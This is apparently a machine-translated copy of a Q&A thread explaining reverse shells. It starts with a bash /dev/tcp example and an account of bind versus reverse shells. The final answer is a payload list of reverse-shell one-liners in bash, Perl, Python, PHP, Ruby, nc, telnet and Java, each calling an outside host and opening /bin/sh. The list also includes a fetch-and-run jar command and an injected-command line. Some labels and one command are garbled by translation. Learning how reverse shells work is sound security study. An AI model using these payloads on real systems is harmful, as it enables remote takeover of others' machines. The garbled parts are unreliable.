有人可以深入解释什么是反向壳,以及在什么情况下我们应该使用它?我发现这个http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet有关相同的含义,是什么意思:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Run Code Online (Sandbox Code Playgroud)
kay*_*kay 31
它是目标引入的(n不安全)远程shell.这与源"引入"的"普通"远程shell相反.
让我们尝试localhost而不是10.0.0.1:
在终端中打开两个选项卡.
打开TCP端口8080并等待连接:
nc localhost -lp 8080
打开交互式shell,并将IO流重定向到TCP套接字:
bash -i >& /dev/tcp/localhost/8080 0>&1
哪里
bash -i "如果存在-i选项,则shell是交互式的.">& "这种特殊语法将stdout和stderr重定向到指定的目标.">&)/dev/tcp/localhost/8080是TCP客户端连接localhost:8080.0>&1 将文件描述符0(stdin)重定向到fd 1(stdout),因此打开的TCP套接字用于读取输入.localhost,但一些远程IP.qre*_*0ct 24
除了@Kay的优秀答案之外,你的问题的答案为什么称为反向shell是因为它被称为反向shell而不是绑定shell
绑定shell - 攻击者的机器充当客户端,受害者的机器充当服务器,在受害者上打开通信端口并等待客户端连接到它,然后发出远程(相对于攻击者)执行的命令受害者的机器.只有受害者的机器具有公共IP且可以通过互联网访问(为了简洁起见忽略所有防火墙等),这才有可能实现.
现在如果受害者的机器被NAT并因此无法直接到达怎么办?一种可能的解决方案 - 那么如果受害者的机器无法到达怎么办呢.我的(攻击者)机器是可以访问的.所以,让我在我的最后打开一个服务器,让受害者联系我.这就是反向外壳.
反向Shell - 攻击者的机器(具有公共IP并且可通过互联网访问)充当服务器.它在端口上打开通信通道并等待传入连接.受害者的计算机充当客户端并启动与攻击者的侦听服务器的连接.这正是以下所做的:
bash -i>&/ dev/tcp/10.0.0.1/8080 0>&1
各种语言的反向 shell 示例。危险是一个词。
bash 外壳
bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;
Run Code Online (Sandbox Code Playgroud)
外壳
perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
Run Code Online (Sandbox Code Playgroud)
蟒蛇壳
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
Run Code Online (Sandbox Code Playgroud)
php外壳
php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';
Run Code Online (Sandbox Code Playgroud)
红宝石壳
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
Run Code Online (Sandbox Code Playgroud)
数控壳
nc -c /bin/sh 1.1.1.1 10086;
Run Code Online (Sandbox Code Playgroud)
远程登录外壳
telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp
127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;
Run Code Online (Sandbox Code Playgroud)
java jar 壳
wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;
java -jar /tmp/revs1.jar;
import java.io.IOException;
public class ReverseShell {
public static void main(String[] args) throws IOException, InterruptedException {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
Run Code Online (Sandbox Code Playgroud)